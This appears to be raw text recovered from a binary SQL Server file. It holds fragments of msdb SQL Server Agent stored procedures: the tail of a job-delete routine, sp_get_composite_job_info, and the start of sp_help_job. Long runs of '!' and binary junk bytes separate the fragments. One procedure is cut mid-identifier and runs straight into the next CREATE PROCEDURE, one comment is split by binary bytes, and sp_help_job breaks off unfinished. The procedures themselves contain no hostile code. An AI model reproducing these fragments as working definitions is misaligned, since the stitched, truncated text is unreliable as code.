      SELECT @nt_user_name = ISNULL(NT_CLIENT(), ISNULL(SUSER_SNAME(), FORMATMESSAGE(14205)))
      --Call the xp directly. sp_sqlagent_notify checks sysjobs_view and the record has already been deleted
      EXEC master.dbo.xp_sqlagent_notify N'J', @job_id, 0, 0, N'D', @nt_user_name, 1, @@trancount, NULL, NULL
    END

  END
  ELSE
  -- Do the delete (for all jobs originating from the specific server)
  IF (@originating_server IS NOT NULL)
  BEGIN
    EXECUTE msdb.dbo.sp_delete_all_msx_jobs @msx_server = @originating_server

    -- NOTE: In this case there is no need to propagate the delete via sp_post_msx_operation
    --       since this type of delete is only ever performed on a TSX.
  END

  IF (OBJECT_ID(N'tempdb.dbo.#temp_jobs_to_delete', 'U') IS NOT NULL)    
    DROP TABLE #temp_jobs_to_delete

  RETURN(0) -- 0 means success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(k"Sbv?CREATE PROCEDURE sp_get_composite_job_info
  @job_id             UNIQUEIDENTIFIER = NULL,
  @job_type           VARCHAR(12)      = NULL,  -- LOCAL or MULTI-SERVER
  @owner_login_name   sysname          = NULL,
  @subsystem          NVARCHAR(40)     = NULL,
  @category_id        INT              = NULL,
  @enabled            TINYINT          = NULL,
  @execution_status   INT              = NULL,  -- 0 = Not idle or suspended, 1 = Executing, 2 = Waiting For Thread, 3 = Between Retries, 4 = Idle, 5 = Suspended, [6 = WaitingForStepToFinish], 7 = PerformingCompletionActions
  @date_comparator    CHAR(1)          = NULL,  -- >, < or =
  @date_created       DATETIME         = NULL,
  @date_last_modified DATETIME         = NULL,
  @description        NVARCHAR(512)    = NULL,  -- We do a LIKE on this so it can include wildcards
  @schedule_id        INT              = NULL   -- if supplied only return the jobs that use this schedule
AS
BEGIN
  DECLARE @can_see_all_running_jobs INT
  DECLARE @job_owner   sysname

  SET NOCOUNT ON

  -- By 'composite' we mean a combination of sysjobs and xp_sqlagent_enum_jobs data.
  -- This proc should only ever be called by sp_help_job, so we don't verify the
  -- parameters (sp_help_job has already done this).

  -- Step 1: Create intermediate work tables
  DECLARE @job_execution_state TABLE (job_id                  UNIQUEIDENTIFIER NOT NULL,
                                     date_started            INT              NOT NULL,
                                     time_started            INT              NOT NULL,
                                     execution_job_status    INT              NOT NULL,
                                     execution_step_id       INT              NULL,
                                     execution_step_name     sysname          COLLATE database_default NULL,
                                     execution_retry_attempt INT              NOT NULL,
                                     next_run_date           INT              NOT NULL,
                                     next_run_time           INT              NOT NULL,
                                     next_run_schedule_id    INT              NOT NULL)
  DECLARE @filtered_jobs TABLE (job_id                   UNIQUEIDENTIFIER NOT NULL,
                               date_created             DATETIME         NOT NULL,
                               date_last_modified       DATETIME         NOT NULL,
                               current_execution_status INT              NULL,
                               current_execution_step   sysname          COLLATE database_default NULL,
                               current_retry_attempt    INT              NULL,
                               last_run_date            INT              NOT NULL,
                               last_run_time            INT              NOT NULL,
                               last_run_outcome         INT              NOT NULL,
                               next_run_date            INT              NULL,
                               next_run_time            INT              NULL,
                               next_run_schedule_id     INT              NULL,
                               type                     INT              NOT NULL)
  DECLARE @xp_results TABLE (job_id                UNIQUEIDENTIFIER NOT NULL,
                            last_run_date         INT              NOT NULL,
                            last_run_time         INT              NOT NULL,
                            next_run_date         INT              NOT NULL,
                            next_run_time         INT              NOT NULL,
                            next_run_schedule_id  INT              NOT NULL,
                            requested_to_run      INT              NOT NULL, -- BOOL
                            request_source        INT              NOT NULL,
                            request_source_id     sysname          COLLATE database_default NULL,
                            running               INT              NOT NULL, -- BOOL
                            current_step          INT              NOT NULL,
                            current_retry_attempt INT              NOT NULL,
                            job_state             INT              NOT NULL)

  -- Step 2: Capture job execution information (for local jobs only since that's all SQLServerAgent caches)
  SELECT @can_see_all_running_jobs = ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0)
  IF (@can_see_all_running_jobs = 0)
  BEGIN
    SELECT @can_see_all_running_jobs = ISNULL(IS_MEMBER(N'SQLAgentReaderRole'), 0)
  END
  SELECT @job_owner = SUSER_SNAME()

  IF ((@@microsoftversion / 0x01000000) >= 8) -- SQL Server 8.0 or greater
    INSERT INTO @xp_results
    EXECUTE master.dbo.xp_sqlagent_enum_jobs @can_see_all_running_jobs, @job_owner, @job_id
  ELSE
    INSERT INTO @xp_results
    EXECUTE master.dbo.xp_sqlagent_enum_jobs @can_see_all_running_jobs, @job_owner

  INSERT INTO @job_execution_state
  SELECT xpr.job_id,
         xpr.last_run_date,
         xpr.last_run_time,
         xpr.job_state,
         sjs.step_id,
         sjs.step_name,
         xpr.current_retry_attempt,
         xpr.next_run_date,
         xpr.next_run_time,
         xpr.next_run_schedule_id
  FROM @xp_results                          xpr
       LEFT OUTER JOIN msdb.dbo.sysjobsteps sjs ON ((xpr.job_id = sjs.job_id) AND (xpr.current_step = sjs.step_id)),
       msdb.dbo.sysjobs_view                sjv
  WHERE (sjv.job_id = xpr.job_id)

  -- Step 3: Filter on everything but dates and job_type
  IF ((@subsystem        IS NULL) AND
      (@owner_login_name IS NULL) AND
      (@enabled          IS NULL) AND
      (@category_id      IS NULL) AND
      (@execution_status IS NULL) AND
      (@description      IS NULL) AND
      (@job_id           IS NULL))
  BEGIN
    -- Optimize for the frequently used case...
    INSERT INTO @filtered_jobs
    SELECT sjv.job_id,
           sjv.date_created,
           sjv.date_modified,
           ISNULL(jes.execution_job_status, 4), -- Will be NULL if the job is non-local or is not in @job_execution_state (NOTE: 4 = STATE_IDLE)
           CASE ISNULL(jes.execution_step_id, 0)
             WHEN 0 THEN NULL                   -- Will be NULL if the job is non-local or is not in @job_execution_state
             ELSE CONVERT(NVARCHAR, jes.execution_step_id) + N' (' + jes.execution_step_name + N')'
           END,
           jes.execution_retry_attempt,         -- Will be NULL if the job is non-local or is not in @job_execution_state
           0,  -- last_run_date placeholder    (we'll fix it up in step 3.3)
           0,  -- last_run_time placeholder    (we'll fix it up in step 3.3)
           5,  -- last_run_outcome placeholder (we'll fix it up in step 3.3 - NOTE: We use 5 just in case there are no jobservers for the job)
           jes.next_run_date,                   -- Will be NULL if the job is non-local or is not in @job_execution_state
           jes.next_run_time,                   -- Will be NULL if the job is non-local or is not in @job_execution_state
           jes.next_run_schedule_id,            -- Will be NULL if the job is non-local or is not in @job_execution_state
           0   -- type placeholder             (we'll fix it up in step 3.4)
    FROM msdb.dbo.sysjobs_view                sjv
         LEFT OUTER JOIN @job_execution_state jes ON (sjv.job_id = jes.job_id)
    WHERE ((@schedule_id IS NULL)
      OR   (EXISTS(SELECT * 
                 FROM sysjobschedules as js
                 WHERE (sjv.job_id = js.job_id)
                   AND (js.schedule_id = @schedule_id))))
  END
  ELSE
  BEGIN
    INSERT INTO @filtered_jobs
    SELECT DISTINCT
           sjv.job_id,
           sjv.date_created,
           sjv.date_modified,
           ISNULL(jes.execution_job_status, 4), -- Will be NULL if the job is !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(l"٦v?non-local or is not in @job_execution_state (NOTE: 4 = STATE_IDLE)
           CASE ISNULL(jes.execution_step_id, 0)
             WHEN 0 THEN NULL                   -- Will be NULL if the job is non-local or is not in @job_execution_state
             ELSE CONVERT(NVARCHAR, jes.execution_step_id) + N' (' + jes.execution_step_name + N')'
           END,
           jes.execution_retry_attempt,         -- Will be NULL if the job is non-local or is not in @job_execution_state
           0,  -- last_run_date placeholder    (we'll fix it up in step 3.3)
           0,  -- last_run_time placeholder    (we'll fix it up in step 3.3)
           5,  -- last_run_outcome placeholder (we'll fix it up in step 3.3 - NOTE: We use 5 just in case there are no jobservers for the job)
           jes.next_run_date,                   -- Will be NULL if the job is non-local or is not in @job_execution_state
           jes.next_run_time,                   -- Will be NULL if the job is non-local or is not in @job_execution_state
           jes.next_run_schedule_id,            -- Will be NULL if the job is non-local or is not in @job_execution_state
           0   -- type placeholder             (we'll fix it up in step 3.4)
    FROM msdb.dbo.sysjobs_view                sjv
         LEFT OUTER JOIN @job_execution_state jes ON (sjv.job_id = jes.job_id)
         LEFT OUTER JOIN msdb.dbo.sysjobsteps sjs ON (sjv.job_id = sjs.job_id)
    WHERE ((@subsystem        IS NULL) OR (sjs.subsystem            = @subsystem))
      AND ((@owner_login_name IS NULL) 
          OR (sjv.owner_sid            = dbo.SQLAGENT_SUSER_SID(@owner_login_name)))--force case insensitive comparation for NT users
      AND ((@enabled          IS NULL) OR (sjv.enabled              = @enabled))
      AND ((@category_id      IS NULL) OR (sjv.category_id          = @category_id))
      AND ((@execution_status IS NULL) OR ((@execution_status > 0) AND (jes.execution_job_status = @execution_status))
                                       OR ((@execution_status = 0) AND (jes.execution_job_status <> 4) AND (jes.execution_job_status <> 5)))
      AND ((@description      IS NULL) OR (sjv.description       LIKE @description))
      AND ((@job_id           IS NULL) OR (sjv.job_id               = @job_id))
      AND ((@schedule_id IS NULL)
        OR (EXISTS(SELECT * 
                 FROM sysjobschedules as js
                 WHERE (sjv.job_id = js.job_id)
                   AND (js.schedule_id = @schedule_id))))
  END

  -- Step 3.1: Change the execution status of non-local jobs from 'Idle' to 'Unknown'
  UPDATE @filtered_jobs
  SET current_execution_status = NULL
  WHERE (current_execution_status = 4)
    AND (job_id IN (SELECT job_id
                    FROM msdb.dbo.sysjobservers
                    WHERE (server_id <> 0)))

  -- Step 3.2: Check that if the user asked to see idle jobs that we still have some.
  --           If we don't have any then the query should return no rows.
  IF (@execution_status = 4) AND
     (NOT EXISTS (SELECT *
                  FROM @filtered_jobs
                  WHERE (current_execution_status = 4)))
  BEGIN
    DELETE FROM @filtered_jobs
  END

  -- Step 3.3: Populate the last run date/time/outcome [this is a little tricky since for
  --           multi-server jobs there are multiple last run details in sysjobservers, so
  --           we simply choose the most recent].
  IF (EXISTS (SELECT *
              FROM msdb.dbo.systargetservers))
  BEGIN
    UPDATE @filtered_jobs
    SET last_run_date = sjs.last_run_date,
        last_run_time = sjs.last_run_time,
        last_run_outcome = sjs.last_run_outcome
    FROM @filtered_jobs         fj,
         msdb.dbo.sysjobservers sjs
    WHERE (CONVERT(FLOAT, sjs.last_run_date) * 1000000) + sjs.last_run_time =
           (SELECT MAX((CONVERT(FLOAT, last_run_date) * 1000000) + last_run_time)
            FROM msdb.dbo.sysjobservers
            WHERE (job_id = sjs.job_id))
      AND (fj.job_id = sjs.job_id)
  END
  ELSE
  BEGIN
    UPDATE @filtered_jobs
    SET last_run_date = sjs.last_run_date,
        last_run_time = sjs.last_run_time,
        last_run_outcome = sjs.last_run_outcome
    FROM @filtered_jobs         fj,
         msdb.dbo.sysjobservers sjs
    WHERE (fj.job_id = sjs.job_id)
  END

  -- Step 3.4 : Set the type of the job to local (1) or multi-server (2)
  --            NOTE: If the job has no jobservers then it wil have a type of 0 meaning
  --                  unknown.  This is marginally inconsistent with the behaviour of
  --                  defaulting the category of a new job to [Uncategorized (Local)], but
  --                  prevents incompletely defined jobs from erroneously showing up as valid
  --                  local jobs.
  UPDATE @filtered_jobs
  SET type = 1 -- LOCAL
  FROM @filtered_jobs         fj,
       msdb.dbo.sysjobservers sjs
  WHERE (fj.job_id = sjs.job_id)
    AND (server_id = 0)
  UPDATE @filtered_jobs
  SET type = 2 -- MULTI-SERVER
  FROM @filtered_jobs         fj,
       msdb.dbo.sysjobservers sjs
  WHERE (fj.job_id = sjs.job_id)
    AND (server_id <> 0)

  -- Step 4: Filter on job_type
  IF (@job_type IS NOT NULL)
  BEGIN
    IF (UPPER(@job_type collate SQL_Latin1_General_CP1_CS_AS) = 'LOCAL')
      DELETE FROM @filtered_jobs
      WHERE (type <> 1) -- IE. Delete all the non-local jobs
    IF (UPPER(@job_type collate SQL_Latin1_General_CP1_CS_AS) = 'MULTI-SERVER')
      DELETE FROM @filtered_jobs
      WHERE (type <> 2) -- IE. Delete all the non-multi-server jobs
  END

  -- Step 5: Filter on dates
  IF (@date_comparator IS NOT NULL)
  BEGIN
    IF (@date_created IS NOT NULL)
    BEGIN
      IF (@date_comparator = '=')
        DELETE FROM @filtered_jobs WHERE (date_created <> @date_created)
      IF (@date_comparator = '>')
        DELETE FROM @filtered_jobs WHERE (date_created <= @date_created)
      IF (@date_comparator = '<')
        DELETE FROM @filtered_jobs WHERE (date_created >= @date_created)
    END
    IF (@date_last_modified IS NOT NULL)
    BEGIN
      IF (@date_comparator = '=')
        DELETE FROM @filtered_jobs WHERE (date_last_modified <> @date_last_modified)
      IF (@date_comparator = '>')
        DELETE FROM @filtered_jobs WHERE (date_last_modified <= @date_last_modified)
      IF (@date_comparator = '<')
        DELETE FROM @filtered_jobs WHERE (date_last_modified >= @date_last_modified)
    END
  END

  -- Return the result set (NOTE: No filtering occurs here)
  SELECT sjv.job_id,
         originating_server, 
         sjv.name,
         sjv.enabled,
         sjv.description,
         sjv.start_step_id,
         category = ISNULL(sc.name, FORMATMESSAGE(14205)),
         owner = dbo.SQLAGENT_SUSER_SNAME(sjv.owner_sid),
         sjv.notify_level_eventlog,
         sjv.notify_level_email,
         sjv.notify_level_netsend,
         sjv.notify_level_page,
         notify_email_operator   = ISNULL(so1.name, FORMATMESSAGE(14205)),
         notify_netsend_operator = ISNULL(so2.name, FORMATMESSAGE(14205)),
         notify_page_operator    = ISNULL(so3.name, FORMATMESSAGE(14205)),
         sjv.delete_level,
         sjv.date_created,
         sjv.date_modified,
         sjv.version_number,
         fj.last_run_date,
         fj.last_run_time,
         fj.last_run_outcome,
         next_run_date = ISNULL(fj.next_run_date, 0),                                 -- This column will be NULL if the job is non-local
         next_run_time = ISNULL(fj.next_run_time, 0),                                 -- This column will be NULL if the job is non-local
         next_run_schedule_id = ISNULL(fj.next_run_schedule_id, 0),                   -- This column will be NULL if the job is non-local
         current_execution_status = ISNULL(fj.current_execution_status, 0),           -- This column will be NULL if the job is non-local
         current_execution_step = ISNULL(fj.current_exec!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(m#	v0CREATE PROCEDURE sp_help_job
  -- Individual job parameters
  @job_id                     UNIQUEIDENTIFIER = NULL,  -- If provided should NOT also provide job_name
  @job_name                   sysname          = NULL,  -- If provided should NOT also provide job_id
  @job_aspect                 VARCHAR(9)       = NULL,  -- JOB, STEPS, SCHEDULES, TARGETS or ALL
  -- Job set parameters
  @job_type                   VARCHAR(12)      = NULL,  -- LOCAL or MULTI-SERVER
  @owner_login_name           sysname          = NULL,
  @subsystem                  NVARCHAR(40)     = NULL,
  @category_name              sysname          = NULL,
  @enabled                    TINYINT          = NULL,
  @execution_status           INT              = NULL,  -- 1 = Executing, 2 = Waiting For Thread, 3 = Between Retries, 4 = Idle, 5 = Suspended, 6 = [obsolete], 7 = PerformingCompletionActions
  @date_comparator            CHAR(1)          = NULL,  -- >, < or =
  @date_created               DATETIME         = NULL,
  @date_last_modified         DATETIME         = NULL,
  @description                NVARCHAR(512)    = NULL   -- We do a LIKE on this so it can include wildcards
AS
BEGIN
  DECLARE @retval          INT
  DECLARE @category_id     INT
  DECLARE @job_id_as_char  VARCHAR(36)
  DECLARE @res_valid_range NVARCHAR(200)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters (except @owner_login_name)
  SELECT @job_name         = LTRIM(RTRIM(@job_name))
  SELECT @job_aspect       = LTRIM(RTRIM(@job_aspect))
  SELECT @job_type         = LTRIM(RTRIM(@job_type))
  SELECT @subsystem        = LTRIM(RTRIM(@subsystem))
  SELECT @category_name    = LTRIM(RTRIM(@category_name))
  SELECT @description      = LTRIM(RTRIM(@description))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@job_name         = N'') SELECT @job_name = NULL
  IF (@job_aspect       = '')  SELECT @job_aspect = NULL
  IF (@job_type         = '')  SELECT @job_type = NULL
  IF (@owner_login_name = N'') SELECT @owner_login_name = NULL
  IF (@subsystem        = N'') SELECT @subsystem = NULL
  IF (@category_name    = N'') SELECT @category_name = NULL
  IF (@description      = N'') SELECT @description = NULL

  IF ((@job_id IS NOT NULL) OR (@job_name IS NOT NULL))
  BEGIN
    EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                '@job_id',
                                                 @job_name OUTPUT,
                                                 @job_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
  END

  SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)

  -- If the user provided a job name or id but no aspect, default to ALL
  IF ((@job_name IS NOT NULL) OR (@job_id IS NOT NULL)) AND (@job_aspect IS NULL)
    SELECT @job_aspect = 'ALL'

  -- The caller must supply EITHER job name (or job id) and aspect OR one-or-more of the set
  -- parameters OR no parameters at all
  IF (((@job_name IS NOT NULL) OR (@job_id IS NOT NULL))
      AND ((@job_aspect          IS NULL)     OR
           (@job_type            IS NOT NULL) OR
           (@owner_login_name    IS NOT NULL) OR
           (@subsystem           IS NOT NULL) OR
           (@category_name       IS NOT NULL) OR
           (@enabled             IS NOT NULL) OR
           (@date_comparator     IS NOT NULL) OR
           (@date_created        IS NOT NULL) OR
           (@date_last_modified  IS NOT NULL)))
     OR
     ((@job_name IS NULL) AND (@job_id IS NULL) AND (@job_aspect IS NOT NULL))
  BEGIN
    RAISERROR(14280, -1, -1)
    RETURN(1) -- Failure
  END

  IF (@job_id IS NOT NULL)
  BEGIN
    -- Individual job...

    -- Check job aspect
    SELECT @job_aspect = UPPER(@job_aspect collate SQL_Latin1_General_CP1_CS_AS)
